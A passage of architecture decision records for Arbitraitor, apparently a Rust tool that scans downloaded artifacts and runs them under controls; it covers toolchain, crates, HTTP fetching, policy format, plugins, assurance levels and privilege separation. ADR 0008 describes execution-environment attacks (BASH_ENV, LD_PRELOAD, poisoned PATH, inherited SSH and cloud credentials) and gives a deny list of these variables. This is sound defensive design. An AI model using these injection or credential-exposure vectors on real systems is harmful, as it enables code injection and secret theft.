| 0010 | Platform provenance preservation | Accepted | #5 |
| 0011 | Plugin trust classification model | Accepted | #6 |
| 0012 | TUF implementation selection | Accepted | #7 |
| 0013 | Plan-bound approval capability model | Accepted | #8 |
| 0014 | Receipt canonicalization (RFC 8785 JCS) | Accepted | #9 |
| 0015 | Safe destination release semantics | Accepted | #10 |
| 0016 | Terminal and Unicode sanitization renderer | Accepted | #11 |
| 0017 | Monotonic project configuration | Accepted | #13 |
| 0018 | SSRF, proxy, and connected-peer verification | Accepted | #14 |
| 0019 | catch_unwind and panic=abort interaction | Accepted | #80 |
| 0020 | Seccomp-BPF network isolation for subprocess plugins | Accepted | #208 |
| 0021 | Landlock filesystem isolation for subprocess plugins | Accepted | #209 |
| 0022 | SLSA Build Level target for Arbitraitor releases | Accepted | #272 |
| 0023 | in-toto Statement receipt envelope | Accepted | #273 |
| 0024 | macOS containment strategy | Accepted | #279 |
| 0025 | OpenSSF Scorecard, deps.dev, and GUAC as optional integrations | Accepted | #275 |
| 0026 | EU CRA / NIST SSDF informational compliance mapping | Accepted | #276 |
| 0027 | CLI inspect pipeline boundary | Accepted | #436 |
| 0028 | Landlock ABI probe and receipt recording | Accepted | #466 |
| 0029 | VEX format support matrix | Accepted | #468 |
| 0030 | SBOM/VEX ingestion profiles (CISA 2025 minimum elements + SBOM-for-AI) | Accepted | #467 |
| 0031 | OpenSSF malicious-packages feed via OSV.dev | Accepted | #474 |
| 0032 | Tar parser consensus check | Accepted | #459 |
| 0033 | Fetch cross-protocol credential secrecy | Accepted | #472 |
| 0034 | Apple Containerization GA strategy for macOS 26+ | Proposed | #475 |
| 0035 | LNK argument padding detection (CVE-2025-9491) | Accepted | #473 |
| 0036 | run pipeline content-type execution gate | Accepted | #612 |
| 0037 | Wasmtime CVE risk register | Accepted | #463 |
| 0038 | Pipeline engine crate extraction and naming | Proposed | — |
| 0039 | Receipt envelope structure (spec §31.1) | Accepted | #492 |
Format
# ADR NNNN: Title
**Status:** Accepted | Accepted | Superseded by ADR-XXXX | Rejected
**Date:** YYYY-MM-DD
**Issue:** #NN (GitHub issue this ADR resolves, if applicable)
## Context
Why this decision is needed.
## Decision
What was decided.
## Consequences
What follows from the decision.
## Alternatives considered
Options that were evaluated and rejected.
## References
Spec sections, advisories, standards, library docs.
ADR 0001: Rust 2024 and toolchain policy
Status: Accepted Date: 2026-06-16
Context
Arbitraitor is a security boundary written in Rust. The language choice, edition, and toolchain pin affect memory safety, build reproducibility, dependency compatibility, and CI correctness.
Decision
- Language: Rust, 2024 edition.
- Bootstrap toolchain: Rust 1.96.0, pinned in
rust-toolchain.toml. - Workspace resolver: Cargo resolver 3 (
resolver = "3"). - Minimum Supported Rust Version (MSRV): 1.96 for pre-1.0 releases; a rolling six-month MSRV will be considered only after public API and downstream users exist.
- Nightly: prohibited for production features; used only in isolated CI jobs (Miri, sanitizer testing).
Cargo.lock: committed for all crates in this monorepo.- Profiles:
release:codegen-units = 1,lto = "thin",panic = "abort",strip = "symbols".release-with-debug: inherits release,debug = 1,strip = "none".
- Lints:
unsafe_code = "forbid"workspace-wide. Clippyall = deny,pedantic = warn,cargo = warn.unwrap_used,expect_used,panic,dbg_macro,print_stdout,print_stderrdenied. Local exceptions allowed with justification.
Consequences
- Security-sensitive dependencies (Wasmtime, YARA-X, TLS, parsers) can move quickly; pinning current stable avoids patch lag.
panic = "abort"is appropriate for the shipped CLI; reusable library crates must not rely on process abortion as error handling.- CI runs an additional job against current stable channel to detect drift.
Alternatives considered
- Older MSRV (e.g., 1.80): Rejected. Creates patch lag for security deps with little benefit for a pre-1.0 project.
- C or C++: Rejected. Memory safety risk in a security boundary.
- Go: Rejected. Less control over memory layout, unsafe code isolation, and zero-cost abstractions needed for the analysis pipeline.
References
docs/spec/tech-stack.md§2 (Language and toolchain policy)rust-toolchain.tomlCargo.tomlworkspace section
ADR 0002: Workspace structure and crate boundaries
Status: Accepted Date: 2026-06-16
Context
Arbitraitor spans retrieval, storage, analysis, policy, execution, plugins, receipts, updates, and CLI presentation. Clear crate boundaries enforce the security invariant that no detector, parser, or plugin can call the release or execution layer directly.
Decision
Single monorepo with 25 workspace crates under crates/:
| Crate | Responsibility | I/O |
|---|---|---|
arbitraitor-model | Serializable domain types (newtypes, enums, structs) | None |
arbitraitor-core | State machine orchestrator, invariant enforcement | None |
arbitraitor-policy | TOML policy → internal AST → verdict | Policy files only |
arbitraitor-fetch | HTTP retrieval behind Fetcher trait | Network |
arbitraitor-store | Content-addressed quarantine store (CAS) | Filesystem |
arbitraitor-artifact | Content type identification and classification | Read-only |
arbitraitor-analysis | Detector coordination | Read-only |
arbitraitor-shell | POSIX shell / Bash / Zsh static analysis | Read-only |
arbitraitor-powershell | PowerShell static analysis | Read-only |
arbitraitor-yarax | YARA-X in-process scanning | Read-only |
arbitraitor-av | ClamAV / Defender adapters | Subprocess |
arbitraitor-archive | Archive extraction under resource limits | Filesystem |
arbitraitor-intel | Intelligence feed matching | Local files |
arbitraitor-provenance | Digest pinning, signature verification | Crypto + subprocess |
arbitraitor-exec | Mediated execution broker | Process spawning |
arbitraitor-sandbox | Platform isolation adapters | Platform APIs |
arbitraitor-receipt | Receipt creation, signing, query | Filesystem |
arbitraitor-update | TUF-style signed update channel | Network |
arbitraitor-plugin-api | Plugin ABI types, WIT definitions | None |
arbitraitor-plugin-host | Wasmtime host + subprocess fallback | Subprocess + WASM |
arbitraitor-wrapper | Downloader argument translation | None |
arbitraitor-package-manager | Homebrew / Arch lifecycle mediation | Subprocess |
arbitraitor-cli | Argument parsing and presentation only | Terminal |
arbitraitor-testkit | Test fixtures, mock servers, generators | Test-only |
arbitraitor-mcp | MCP server for AI agent gateway | Network |
Boundary rules:
arbitraitor-modelcontains serializable domain types and no I/O.arbitraitor-coreowns state transitions and invariants, not presentation.arbitraitor-fetchknows networking but not policy syntax.arbitraitor-policyconsumes normalized facts and produces decisions only.arbitraitor-cliperforms argument parsing and presentation only.- Platform-specific code lives behind traits in dedicated modules.
- Plugin ABI types live in
arbitraitor-plugin-apiand WIT definitions. - No detector may call the release or execution layer directly.
- No wrapper plugin may directly perform network I/O unless a narrowly documented mode requires it.
Publishing: most crates use publish = false. Only the CLI and (later)
the plugin SDK will be published before 1.0.
Consequences
- Compile-time enforcement of dependency direction (Cargo cannot prevent all cycles, but the boundary rules create clear review checkpoints).
unsafe_code = "forbid"in core policy, receipt, model, and state-machine crates. Required unsafe isolated in platform/FFI crates.- Cross-crate communication uses typed domain types from
arbitraitor-model, never raw strings for hashes, URLs, paths, or policy IDs.
Alternatives considered
- Multi-repo: Rejected for pre-1.0. Makes atomic security changes, versioning, and cross-platform CI harder.
- Fewer, larger crates: Rejected. Weakens boundary enforcement and makes parallel development harder.
- Dynamic plugin ABI (.so/.dylib/.dll): Rejected. Equivalent to core compromise. Plugins use Wasmtime or subprocess protocol only.
References
docs/spec/tech-stack.md§3 (Workspace and crate boundaries)docs/spec/spec.md§38.1 (Rust workspace layout)Cargo.tomlworkspace members
ADR 0003: reqwest behind Fetcher trait
Status: Accepted Date: 2026-06-16
Context
Arbitraitor needs an HTTP client for artifact retrieval. The choice affects TLS trust, redirect handling, decompression behavior, proxy semantics, and the ability to bind security policy to the actual connection (SSRF defense). No reqwest types should cross crate boundaries.
Decision
Use reqwest with Tokio and rustls for the MVP, hidden behind an internal
Fetcher trait:
#![allow(unused)]
fn main() {
#[async_trait::async_trait]
pub trait Fetcher: Send + Sync {
async fn fetch(
&self,
request: FetchRequest,
sink: &mut dyn ArtifactSink,
) -> Result<FetchReceipt, FetchError>;
}
}
Exact-byte semantics:
- Send
Accept-Encoding: identity. - Disable reqwest’s automatic gzip, Brotli, deflate, and zstd response decoding.
- Hash and store the HTTP representation bytes received after transfer framing.
- If wrapper semantics request content decoding, store the encoded artifact and create a separately hashed decoded child artifact. Scan and execute the decoded child. Record both identities and the transformation edge.
TLS:
- rustls with a policy-selectable verifier.
- TLS 1.2 and 1.3 only.
- Certificate validation mandatory; hostname validation mandatory.
- No user-facing “ignore all TLS errors” shortcut.
- Insecure modes require explicit policy and cannot be used for execution in enforcement mode.
- Record peer certificate fingerprints and negotiated protocol.
- A valid certificate is not publisher provenance.
Redirects: implemented in Arbitraitor policy, not accepted as reqwest defaults. See ADR 0018 for full redirect, SSRF, and proxy semantics.
Consequences
- Preserves the option to use Hyper directly for a lower-level connector if reqwest cannot bind policy to the actual connection in the future.
- No reqwest types cross crate boundaries.
- Exact-byte identity is well-defined: what was hashed is what was scanned is what was executed.
Alternatives considered
- Hyper direct: More control over connectors but more boilerplate. Deferred;
the
Fetchertrait allows migration. - ureq: Simpler, synchronous. Rejected—Tokio async is needed for streaming into CAS while hashing.
- isahc (libcurl bindings): Rejected. C FFI in a security boundary adds attack surface.
References
docs/spec/tech-stack.md§4 (HTTP and transport stack)docs/spec/spec.md§11 (Retrieval subsystem)- ADR 0018 — SSRF and proxy
ADR 0004: TOML for configuration and policy
Status: Accepted Date: 2026-06-16
Context
Arbitraitor needs a human-authored format for user configuration, organization policy, plugin manifests, and release configuration. The format must be deterministic, parseable without ambiguity, and suitable as a security policy language.
Decision
Use TOML with serde and the toml crate for all human-authored
configuration and policy. Use JSON for machine protocols, receipts,
findings, intelligence records, and SARIF output.
TOML is used for:
- User configuration (
~/.config/arbitraitor/config.toml) - Organization policy
- Project policy (
.arbitraitor.toml— untrusted, see ADR 0017) - Plugin manifests
- Release configuration
YAML is explicitly rejected for Arbitraitor policy because:
- Implicit typing (
yes/no/nullcoercion). - Aliases and anchors expand the parsing surface.
- Multiple interpretations of the same document.
- The widely used
serde_yamlcrate is deprecated. - GitHub Actions requires YAML, but that does not require Arbitraitor itself to use it.
Policy engine uses a constrained declarative TOML schema compiled into an internal expression tree. No general scripting language (CEL, Rego, Cedar) is embedded for the MVP. This keeps the attack surface small, ensures deterministic evaluation, and simplifies explainability.
Consequences
- Policy is statically typed and schema-validated before evaluation.
deny_unknown_fieldsenforced on security-critical input structures.- No YAML anywhere in Arbitraitor’s own configuration.
- Future policy backends (CEL, Rego/OPA, Cedar, WASM) can be added behind the evaluator trait without changing the authoring format.
Alternatives considered
- YAML: Rejected. Parsing surface, deprecated ecosystem, implicit typing.
- JSON for human config: Rejected. No comments, verbose, error-prone for humans.
- Dhall/Starlark: Rejected. Adds a language runtime to the security core.
References
docs/spec/tech-stack.md§6.1 (TOML for human-authored configuration)docs/spec/spec.md§23 (Policy engine)
ADR 0005: redb as non-authoritative metadata index
Status: Accepted Date: 2026-06-16 Issue: #12
Context
Arbitraitor needs a metadata index to accelerate digest-to-metadata lookups, manage retention leases, and index receipts. The adversarial review (H-05) identified that a metadata database must never become an authorization oracle: no database row should be sufficient proof that an artifact was approved.
Decision
Use redb as the metadata index, with the explicit constraint that it is
non-authoritative for all security decisions.
Storage layout:
store/
objects/sha256/ab/cd/<digest> ← artifact bytes (ordinary files)
metadata.redb ← rebuildable index/cache
staging/ ← incomplete objects
locks/ ← per-digest leases
receipts/ ← immutable signed receipts
Authority model:
| Component | Authoritative for | Storage |
|---|---|---|
| CAS digest (SHA-256) | Artifact identity | Derived from bytes |
| Signed receipts | Audit trail, approval record | Immutable files |
| Policy evaluation | Release decisions | Re-evaluated on demand |
| redb metadata | Nothing (cache/index only) | Rebuildable |
Rules:
- A corrupted or missing metadata database fails closed (operation
denied,
doctorinvoked). - Approvals are bound to: policy digest, detector snapshot, artifact digest, operation, and expiry — not a database row.
- The database can be rebuilt from receipts and CAS objects.
- Per-digest leases (not a global lock) prevent concurrent operations.
- Incomplete staging objects are unaddressable.
arbitraitor doctorreconciles orphaned staging, verifies CAS/metadata consistency, and clears stale locks.- Migrations are transactional with backup before destructive changes.
- Metadata decoders are fuzzed.
Why redb:
- Pure Rust (no C FFI in the security boundary).
- ACID embedded key-value model.
- Portable single-file storage.
- Sufficient for digest-to-metadata, leases, retention, and receipt indexes.
A StoreIndex trait is kept so SQLite remains an option if ad-hoc querying
and operational tooling become important. SQLite is not introduced solely
for key-value lookups.
Consequences
- Database corruption is a denial of service, not an execution bypass.
- No query against the database can authorize release or execution.
- Index rebuild is a recoverable operation.
- Future migration to SQLite or another backend is possible behind the trait.
Alternatives considered
- SQLite: Rejected initially. C FFI adds attack surface. Justified only if ad-hoc querying becomes a real need.
- Sled: Rejected. Maintenance concerns and API churn.
- In-memory only: Rejected. Cannot persist leases or retention across runs.
- Filesystem-only (no DB): Rejected. Linear scans for digest lookup are too slow at scale.
References
docs/spec/tech-stack.md§5 (Filesystem and content-addressed store)docs/spec/spec.mdH-05 (Metadata as authorization oracle)- ADR 0013 — Approval binds to plan, not digest alone
ADR 0006: Wasmtime Component Model for plugins
Status: Accepted Date: 2026-06-16
Context
Arbitraitor needs a plugin system for downloaders, shell adapters, detectors,
intelligence providers, sandbox adapters, and provenance verifiers. Plugins run
untrusted or semi-trusted code. In-process dynamic libraries (.so, .dylib,
.dll) would make plugin compromise equivalent to core compromise.
Decision
Use Wasmtime Component Model with WIT interfaces as the primary plugin runtime. WASI Preview 2 is the baseline. Do not build around experimental WASI Preview 3 behavior.
Separate WIT worlds (not one universal interface):
arbitraitor:plugin/wrapper — downloader argument translation
arbitraitor:plugin/detector — artifact analysis, returns findings
arbitraitor:plugin/intelligence — indicator lookup
arbitraitor:plugin/provenance — signature/attestation verification
A downloader argument parser does not automatically gain detector or network capabilities.
Default plugin instance sandbox:
| Control | Value |
|---|---|
| Network | None |
| Ambient filesystem | None |
| Inherited environment | None |
| Clock | Deterministic or host-provided only when requested |
| Memory | Bounded |
| Table count | Bounded |
| Fuel/epoch interruption | Enabled |
| Total execution deadline | Enforced |
| Output size | Limited |
| Dynamic loading | Prohibited |
| Artifact paths | Opaque read capability only (no raw paths) |
| Host-call deadline | Per-call, with cancellation |
| Host-call count | Bounded |
| Host-call output size | Bounded |
Critical limitation: fuel and epoch interruption do not stop a guest blocked inside a host call. Therefore every host function must have its own deadline and cancellation — no host function may perform unbounded blocking work.
Subprocess fallback: some integrations (platform AV, package managers) require native subprocesses. Use a framed protocol (length-prefixed JSON). Controls: absolute executable path, expected binary digest, clean environment, closed inherited descriptors, process group/Job Object, timeout, kill-tree, output/memory limits, no shell interpolation.
No native dynamic plugin ABI is supported initially.
Consequences
- Plugins are memory-isolated from the host process.
- Capability-based access: each plugin world grants only what its role needs.
- Community plugins default to disabled in enforcement mode (see ADR 0011).
- WIT packages are versioned semantically; compatibility fixtures and generated bindings checked in CI.
- Subprocess plugins are capability-restricted and auditable.
Alternatives considered
- Native dynamic libraries (.so/.dylib/.dll): Rejected. Same memory authority as core; plugin compromise = core compromise.
- Embedded scripting language (Lua, Rhai): Rejected. Adds language runtime attack surface; not memory-isolated.
- Process-per-plugin only (no WASM): Rejected for MVP. Startup overhead and IPC complexity for small plugins. WASM provides isolation with lower overhead.
References
docs/spec/tech-stack.md§10 (Plugin runtime)docs/spec/spec.mdH-04 (Wasmtime limits and blocked host calls)- ADR 0011 — Plugin trust classification
- Wasmtime interruption docs
- Wasmtime ResourceLimiter
ADR 0007: Assurance levels model
Status: Accepted Date: 2026-06-16 Issue: #2
Context
The original specification protected artifact identity (SHA-256, single
retrieval, immutable CAS) but did not sufficiently protect the execution
context. A benign scanned script can be turned malicious by inherited
environment variables, shell startup files, a poisoned PATH, a replaced
interpreter, inherited file descriptors, unrestricted network access, or an
attacker-controlled working directory.
The adversarial review (C-01, C-02) identified this as the most critical gap: artifact integrity is stronger than execution-context integrity.
Decision
Define three user-visible assurance levels. Every run operation must
record which level was in effect. Receipts record each effective control
independently.
Level 1: Inspect
Retrieval, hashing, identification, scanning, and reporting. No execution.
Guarantees:
- Complete buffering before verdict.
- Exact artifact identity (SHA-256).
- Configured static and reputation checks.
- Payload graph discovery.
No runtime claim is made. The artifact was never executed.
Level 2: Mediated execution
The exact approved artifact is executed in a deliberately constructed process context.
Mandatory controls:
| Control | Requirement |
|---|---|
| Artifact | Approved immutable CAS object |
| Interpreter | Pinned or revalidated immediately before invocation |
| Environment | Allowlisted (not inherited) |
| Interpreter profiles | Disabled (--noprofile --norc, -NoProfile) |
| Home directory | Temporary |
| Working directory | Temporary |
| Inherited descriptors | Closed |
| Privilege elevation | Denied |
| Network | Denied by default |
| PATH | Controlled |
| Platform provenance | Preserved or added |
This reduces risk but is not a sandbox guarantee. If any control is unavailable or relaxed by policy, the assurance level must be reported as degraded — never presented as equivalent to full mediation.
Level 3: Contained execution
Mediated execution plus a verified platform isolation profile.
Additional mandatory controls:
| Control | Requirement |
|---|---|
| Filesystem isolation | Enforced (chroot, namespace, AppContainer, etc.) |
| Process-tree containment | Enforced |
| Network policy | Enforced (namespace, filter, broker) |
| Resource limits | Enforced |
| Privilege suppression | no-new-privileges or platform equivalent |
| Capability probe | Proves required controls are active |
| Fail-closed | When requested containment is unavailable |
Platform capability matrix (recorded per-control in receipt):
filesystem isolation: enforced | partial | unavailable
network isolation: enforced | partial | unavailable
process-tree control: enforced | partial | unavailable
privilege suppression: enforced | partial | unavailable
system-call filtering: enforced | partial | unavailable
registry/settings iso: enforced | partial | unavailable
This is never collapsed into a single sandboxed = true boolean.
Verdict language
The verdict must reference the effective assurance level. Examples:
PASS (inspect) — static analysis complete, no execution performed.
PASS (mediated) — executed with clean environment, network denied.
WARN (mediated) — executed with network enabled (policy exception).
INCOMPLETE (contained) — requested Landlock unavailable; fell back to mediated.
The label “safe” is prohibited. Recommended labels: low observed risk,
elevated observed risk, high observed risk, blocked by policy,
analysis incomplete, unrestricted runtime.
Consequences
- Users and automation can distinguish static inspection from controlled execution from contained execution.
- A clean static scan with unrestricted network is not presented as equivalent to contained, network-denied execution.
- Receipts carry the capability matrix, enabling downstream auditors to verify what controls were actually in effect.
- macOS initially supports inspect and mediated only (no contained parity claim) — see ADR 0008.
Alternatives considered
- Binary safe/unsafe verdict: Rejected. Same content may be appropriate in a disposable container and unacceptable on a workstation with SSH keys.
- Single sandboxed boolean: Rejected. Hides which controls were effective.
- Numeric risk score: Rejected for MVP. Easy to game, encourages false equivalence. Presentation-only score may be reconsidered after calibration data exists.
References
docs/spec/spec.md§3.11 (Assurance levels)docs/spec/spec.md§2 (Recommended assurance model), C-01, C-02docs/spec/tech-stack.md§9 (Execution-context security)
ADR 0008: Execution context security profile
Status: Accepted Date: 2026-06-16 Issue: #3
Context
The adversarial review (C-01) documented concrete attack vectors that exploit the gap between artifact integrity and execution-context integrity:
BASH_ENVpoints to an attacker-controlled file that Bash reads before the approved script.LD_PRELOADorDYLD_*injects code into the interpreter.- A poisoned
PATHcausescurl,tar,git, orsudoinside the script to resolve to a malicious binary. SSH_AUTH_SOCK, cloud credentials, browser sockets, or inherited descriptors remain accessible.- The interpreter path is replaced after it is checked (TOCTOU).
- The working directory contains attacker-controlled configuration loaded by Git, Python, Node, Ruby, or another tool.
Decision
A clean, allowlisted execution profile is mandatory for all run
operations at the mediated assurance level.
1. Environment: allowlist, not denylist
The execution environment is constructed from scratch. Only explicitly allowed variables are present.
Default allowed: LANG, LC_ALL, TERM, PATH (controlled).
Explicitly removed or controlled (non-exhaustive):
BASH_ENV, ENV, ZDOTDIR, SHELLOPTS, CDPATH, GLOBIGNORE
LD_PRELOAD, LD_LIBRARY_PATH
DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, DYLD_FRAMEWORK_PATH
PYTHONPATH, PYTHONSTARTUP, PYTHONINSPECT, PYTHONHOME
NODE_OPTIONS, NODE_PATH
RUBYOPT, RUBYLIB
PERL5OPT, PERL5LIB
GIT_CONFIG_GLOBAL, GIT_CONFIG_SYSTEM, GIT_CONFIG_NOSYSTEM
SSH_AUTH_SOCK, SSH_AUTHORIZATION
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AWS_*
AZURE_*, GOOGLE_*, GITHUB_*, NPM_CONFIG_*, PIP_CONFIG_FILE
CARGO_HOME, RUSTC_WRAPPER, RUSTFLAGS
Policy may extend the allowlist but may not remove mandatory deny entries.
2. Interpreter non-profile mode
| Interpreter | Flags |
|---|---|
| Bash | --noprofile --norc |
| Zsh | -f (no rc files), unset ZDOTDIR |
| PowerShell | -NoProfile |
| Python | -E (ignore PYTHON* env), -s (no user site) |
| Node.js | (no --require from env; NODE_OPTIONS stripped) |
Behavior that requires user profiles is an explicit lower-assurance exception requiring policy approval.
3. Descriptor-pinned execution
Linux: prefer fexecve/execveat using an immutable file descriptor.
Open the interpreter, verify its identity, then exec from the descriptor. This
eliminates the TOCTOU window between path check and exec.
Other platforms: open and revalidate the executable immediately before process creation. Record the remaining race limitation in the receipt.
4. Temporary home and working directory
By default:
HOME→ temporary directory created with0700permissions.- Working directory → separate temporary directory.
- Policy may specify known-safe paths or grant access to specific directories.
5. Controlled PATH
The execution PATH contains only:
- The system’s trusted binary directories (
/usr/bin,/usr/local/bin— policy-defined). - Explicitly granted directories.
No user bin, no node_modules/.bin, no current directory.
6. Closed inherited file descriptors
All non-essential file descriptors are set to O_CLOEXEC before process
creation. Only stdin, stdout, and stderr are inherited (and stdin may be
replaced with /dev/null for non-interactive runs).
7. No privilege elevation
sudo,su,doas,pkexec, UAC elevation are blocked by default in mediated execution.- The main Arbitraitor process never runs as root/administrator.
- See ADR 0009.
8. Network denied by default
Network access during execution is denied by default. Enabling network is an explicit policy decision that lowers the assurance label:
PASS (mediated, network=denied) ← default
PASS (mediated, network=enabled) ← policy exception, lower trust
Unrestricted runtime network defeats transitive scanning: static second-stage discovery cannot prove that all runtime downloads were found. If the executed script has unrestricted network access, it can retrieve content from generated URLs, DNS-based endpoints, or benign-looking helper tools after approval.
Future stronger mode: an egress broker that intercepts, buffers, scans, and releases child downloads:
child process → network namespace/filter → Arbitraitor egress broker
→ URL/address policy → buffered child artifact → scan → release to child
Until such a broker exists, Arbitraitor reports:
Static analysis passed. Runtime network access is unrestricted.
Transitive payload coverage is incomplete.
TOML policy structure
[execution]
assurance = "mediated"
inherit_environment = false
home_directory = "temporary"
working_directory = "temporary"
network = "deny"
allow_privilege_elevation = false
close_inherited_descriptors = true
disable_interpreter_profiles = true
[execution.allow_environment]
names = ["LANG", "LC_ALL", "TERM"]
[execution.deny_environment]
# Additional deny patterns beyond the mandatory set
patterns = []
Consequences
- A scanned-and-approved script cannot be weaponized by manipulating the execution environment.
- Static analysis findings remain meaningful because the executed code runs in the context that was analyzed (no hidden profile files, no injected env vars).
- Network-denied default means transitive payload coverage claims are honest.
- Some legitimate scripts that require network or specific env vars will require explicit policy exceptions — this is intentional.
Alternatives considered
- Denylist instead of allowlist: Rejected. New dangerous variables are discovered regularly; an allowlist is safer.
- Inherit environment with sanitization: Rejected. Too easy to miss a variable class.
- Full containerization for all execution: Deferred to contained mode. Mediated mode provides strong guarantees without requiring platform isolation support.
References
docs/spec/spec.md§26 (Release and execution), §26.5 (Environment controls)docs/spec/spec.mdC-01, C-02- ADR 0007 — Assurance levels
- ADR 0009 — Privilege separation
ADR 0009: Privilege separation and no-root invariant
Status: Accepted Date: 2026-06-16 Issue: #4
Context
Installers often request sudo, su, doas, pkexec, or administrator
rights. Running Arbitraitor itself as root would expose parsers, archive
handlers, AV adapters, and plugin hosts to root-level compromise. The
adversarial review (C-04) identified this as underspecified.
Decision
Invariant
Arbitraitor analysis, parsing, rule evaluation, and plugin execution must never require elevated privileges.
Default behavior
- Block elevation requests:
sudo,su,doas,pkexec, UAC elevation, and equivalent operations are blocked during mediated execution by default. - Never inherit elevated tokens: If Arbitraitor is started with root/admin
privileges, it refuses to run unless in a narrowly defined diagnostic mode
(
--allow-root, explicitly logged). - Main process is unprivileged: Retrieval, parsing, scanning, plugin execution, and policy evaluation run as the normal user.
Privileged helper (future, specified now)
If a future operation requires system modification (e.g., installing a package system-wide), a separately installed minimal privileged helper is used:
| Property | Requirement |
|---|---|
| Accepted input | Immutable artifact digests + declarative operations only |
| Rejected input | Arbitrary command strings, untrusted archives, scripts, policy, plugin output |
| Network | None |
| Parsers | None |
| Authentication | Authenticated local requests only |
| Revalidation | Immediately before the privileged operation |
| Audit | Every operation recorded in the receipt |
| Scope | No general shell-command endpoint |
The helper receives declarative operations (e.g., “install package
sha256:abc... to /usr/local”), not command strings. It revalidates
authorization immediately before performing the operation.
Package installation strategy
For package installation, prefer handing an already built and inspected package to the native package manager rather than elevating an arbitrary installer script:
arbitraitor fetch + inspect package artifact
→ arbitraitor approves the inspected artifact
→ privileged helper invokes: pacman -U <local-package-file>
→ NOT: sudo ./install.sh
Consequences
- A compromise of Arbitraitor’s parsers or plugins does not yield root.
- Installer scripts that invoke elevation are detected by script analysis and blocked by default in mediated execution.
- The privileged helper, if implemented, has a minimal attack surface (no parsers, no network, no plugins).
- Package-manager lifecycle mediation can model the hand-off to the native package manager as a “delegated” stage in the coverage report.
Alternatives considered
- Run as root with internal sandboxing: Rejected. Kernel escape from a sandbox running as root is catastrophic.
- setuid binary: Rejected. Classic privilege-escalation attack vector.
- No privileged helper ever: Accepted for MVP. Package installation that requires elevation is reported as “delegated, not mediated” in the coverage report. The helper is specified but deferred.
References
docs/spec/spec.md§9.16 (No elevated analysis), §26.6 (Privilege boundary)docs/spec/spec.mdC-04- ADR 0008 — Execution context
ADR 0010: Platform provenance preservation
Status: Accepted Date: 2026-06-16 Issue: #5
Context
The original v0.3 specification permitted optional removal of operating-system
quarantine metadata. macOS uses quarantine information (com.apple.quarantine)
as part of Gatekeeper behavior. Windows uses the Zone.Identifier alternate
data stream (Mark of the Web / MOTW) which feeds SmartScreen and other
protections.
The adversarial review (C-05) identified that silently removing these markers disables platform defenses.
Decision
Preserve or add platform provenance markers. Never silently remove them.
macOS
- Attach or preserve
com.apple.quarantineextended attribute for artifacts released to the filesystem that were retrieved from the Internet. - The quarantine attribute includes the agent name, bundle ID, timestamp, and serialization of the download URL where policy permits.
- Preserve code signatures and notarization metadata.
- An explicit, audited
unquarantineoperation is available only if the user deliberately requests it and policy permits. It is logged in the receipt.
Implementation: use xattr_set / fsetxattr to attach
com.apple.quarantine with a format like:
com.apple.quarantine: 0083;<timestamp>;arbitraitor;<download-url-hash>
Windows
- Attach or preserve Mark of the Web (
Zone.Identifieralternate data stream) for artifacts released to the filesystem. - Include the
ZoneId(3 = Internet),ReferrerUrl, andHostUrlwhere policy permits. - Preserve Authenticode signatures.
- Never silently clear
Zone.Identifier.
Implementation: write to file:Zone.Identifier:$DATA using NTFS alternate
data streams via the Windows API.
Cross-platform abstraction
A trait in arbitraitor-exec (or a dedicated platform module) provides:
#![allow(unused)]
fn main() {
pub trait ProvenanceMarker {
/// Attach or preserve platform download provenance for the given path.
fn apply(&self, path: &Path, source: &ProvenanceSource) -> Result<()>;
/// Check whether provenance markers are present.
fn verify(&self, path: &Path) -> Result<ProvenanceStatus>;
}
pub struct ProvenanceSource {
pub download_url: Option<RedactedUrl>,
pub retriever_version: &'static str,
pub timestamp: SystemTime,
}
}
Archive extraction
Files created by archive extraction inherit provenance markers according to platform behavior. Propagation limitations are documented:
- ZIP entries do not carry macOS quarantine attributes.
- NTFS Zone.Identifier is not per-entry in standard archives.
- Arbitraitor applies provenance markers to extracted files that are subsequently released, not to files only inspected in the staging directory.
Consequences
- Platform defenses (Gatekeeper, SmartScreen) remain active for artifacts released by Arbitraitor.
- A user who downloads a malicious script through Arbitraitor and then double-clicks it still gets the OS-level warning.
- The receipt records whether provenance markers were applied.
- An explicit
unquarantineis available but audited and never default.
Alternatives considered
- Optional removal (v0.3 spec): Rejected. Disables platform defenses silently.
- Always strip and rely on Arbitraitor’s own analysis: Rejected. Defense in depth — OS-level controls should complement, not be replaced by, Arbitraitor.
- Never touch provenance at all: Partially accepted. Arbitraitor preserves existing markers but may need to add them when the original download did not carry them (e.g., when acting as a proxy for another downloader).
References
docs/spec/spec.mdC-05docs/spec/spec.md§9.20 (Platform provenance preservation)- macOS quarantine properties
- Windows Zone.Identifier
- Windows SmartScreen reputation
ADR 0011: Plugin trust classification model
Status: Accepted Date: 2026-06-16 Issue: #6
Context
The adversarial review (C-03) identified that wrapper plugins are part of the extended trusted computing base. The core can validate a plan’s shape, but it cannot prove that a plugin faithfully represented the original command.
A malicious or buggy wrapper can:
- Omit a URL or redirect-affecting option.
- Mishandle authentication scope.
- Falsely label a partial translation as exact.
- Hide an upload or side effect.
- Delegate to the original tool after scanning a different artifact.
- Omit package-manager lifecycle stages.
Decision
Classify plugins by security role. Each class has different trust, capability, and enforcement properties.
Plugin classes
| Class | TCB | What it does | Enforcement default |
|---|---|---|---|
| Evidence-only detector | Not in verdict TCB | Produces findings (policy inputs) | Allowed |
| Semantic translator (wrapper) | Extended TCB | Controls what operation the core performs | Advisory or disabled in enforce mode |
| Execution/package adapter | Extended TCB | Controls process and lifecycle boundaries | First-party only in enforce mode |
| UI extension | — | — | Prohibited initially |
Evidence-only detectors
Examples: YARA-X, antivirus adapters, binary metadata analyzers, language analyzers.
- Findings are policy inputs, never direct verdicts.
- A detector cannot authorize release or suppress another detector’s findings.
- Community detectors are allowed but their findings carry the source’s confidence and provenance.
Semantic translators (wrappers)
Examples: curl wrapper, wget wrapper, shell execution adapters.
- Extended TCB: the core depends on the wrapper faithfully representing the original tool invocation.
- Community semantic translators default to advisory or disabled in enforcement mode.
- First-party wrappers require:
- Conformance tests (must pass official conformance suite for the command shape).
- Exact version ranges for the wrapped tool.
- Signed provenance.
- Independent review.
Execution and package adapters
Examples: shell executors, Homebrew adapter, Arch adapter.
- Extended TCB: controls process creation, lifecycle, and child-process boundaries.
- In enforcement mode, only first-party or explicitly trusted adapters are permitted.
- Package-manager adapters report coverage per stage (resolution, metadata, source downloads, build, package artifact, install hooks, final installation). A plugin must not hide an unmediated build or install stage.
UI extensions
